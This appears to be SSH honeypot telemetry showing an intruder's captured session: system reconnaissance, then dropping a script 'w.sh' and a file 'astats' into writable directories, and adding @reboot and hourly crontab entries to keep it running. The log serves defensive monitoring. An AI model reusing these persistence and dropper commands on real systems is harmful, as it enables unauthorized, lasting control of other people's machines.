sshoney · ssh honeypot telemetry

Client

Credentials attempted

Transcript

11:21:46 $ uname -a
         Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux
11:21:47 $ cut -d' ' -f1 /proc/uptime
         29309.67  (953ms)
11:21:48 $ sudo -l
         bash: sudo: command not found  (731ms)
11:21:49 $ sh -c 'for d in /dev/shm /tmp /var/run /mnt /root /; do cd "$d" 2>/dev/null && pwd && break; done'
         /root  (1466ms)
11:21:51 $ cat /proc/cpuinfo | grep processor | wc -l
         1  (669ms)
11:21:53 $ cd "/root" && if [ ! -f "w.sh" ]; then cat > "w.sh" && chmod +x w.sh; fi
11:21:53 $ grep -E "CentOS|Red Hat|AlmaLinux|Rocky" /etc/os-release 2>/dev/null || true
11:21:54 $ PATH=$PATH:/usr/bin:/usr/local/bin
CRON="$(crontab -l 2>/dev/null || true)"
if ! echo "$CRON" | grep -F '/root/w.sh "astats" "netai" "kstats" "ssh 1 az"' >/dev/null 2>&1; then
  (echo "$CRON"; echo '@reboot  /root/w.sh "astats" "netai" "kstats" "ssh 1 az"'; echo '0 * * * * cd "/root" && ./w.sh "astats" "netai" "kstats" "ssh 1 az"') | crontab -
fi
11:21:54 $ ps -eo pid,pcpu,comm --sort=-pcpu | head -n 10
           PID %CPU COMMAND
             1  0.0 systemd
           823  0.0 sshd
          1024  0.0 nginx
          1088  0.0 postgres
          1121  0.0 node
          1304  0.0 cron
          1450  0.0 systemd-resolve
          1499  0.0 bash
          1521  0.0 ps
          1522  0.0 head  (1184ms)
11:21:56 $ ps aux | grep astats | grep -v grep | wc -l
         0  (604ms)
11:21:57 $ cd /dev/shm || cd /tmp || cd /var/run || cd /mnt || cd /root || cd / && cat > astats
11:21:58 $ cd /dev/shm || cd /tmp || cd /var/run || cd /mnt || cd /root || cd / && cat > astats
11:21:58 $ cd /dev/shm || cd /tmp || cd /var/run || cd /mnt || cd /root || cd / && cat > astats